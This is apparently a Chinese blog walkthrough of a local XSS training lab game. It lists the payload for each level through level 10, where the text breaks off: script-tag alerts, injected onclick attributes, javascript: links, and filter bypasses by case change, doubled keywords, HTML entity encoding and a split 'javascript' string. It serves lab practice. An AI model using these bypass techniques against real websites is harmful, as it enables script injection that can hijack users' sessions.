天天看点

漏洞复现篇——XSS靶场小游戏

环境安装:

  • PHPstudy
  • xss闯关小游戏
  • 火狐浏览器

把安装包解压到www目录下即可

开始闯关:

游戏开始页面,点击图片进入第一关

漏洞复现篇——XSS靶场小游戏

level1——

这一关将test改成

<script>alert(/xxx/)</script>

即可

漏洞复现篇——XSS靶场小游戏

通关页面

漏洞复现篇——XSS靶场小游戏

level2——"οnclick="alert(/xxx/)

这一关要查看源代码

漏洞复现篇——XSS靶场小游戏

找到test的位置,发现第二处有突破口

漏洞复现篇——XSS靶场小游戏

输入

"onclick="alert(/xxx/)

然后点击页面即可

漏洞复现篇——XSS靶场小游戏

level3——'οnclick='alert(/xxx/)

这一关把双引号改成了单引号所以输入

'onclick='alert(/xxx/)

漏洞复现篇——XSS靶场小游戏

level4——"οnclick="alert(/xxx/)

这一关与第二关一样

"onclick="alert(/xxx/)

漏洞复现篇——XSS靶场小游戏

level5——"><a href=" javascript:alert(1)"

用a标签如:

"><a href=" javascript:alert(1)"

漏洞复现篇——XSS靶场小游戏

level6——"Onclick="alert(1)

将O大写即可绕过如:

"Onclick="alert(1)

漏洞复现篇——XSS靶场小游戏

level7——"oonnclick="alert(1)

用双写绕过,如:

"oonnclick="alert(1)

漏洞复现篇——XSS靶场小游戏

level8——javascript:alert(1)

javascript:alert(1)

进行实体编码绕过,如:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

漏洞复现篇——XSS靶场小游戏

level9——javascr ipt:alert(1)//http://

这里限制了网址格式并且过滤了script,所以要伪装一下,如:

javascr ipt:alert(1)//http://

level10——!&t_sort=" type=“text” οnclick="alert(1)

level11——

继续阅读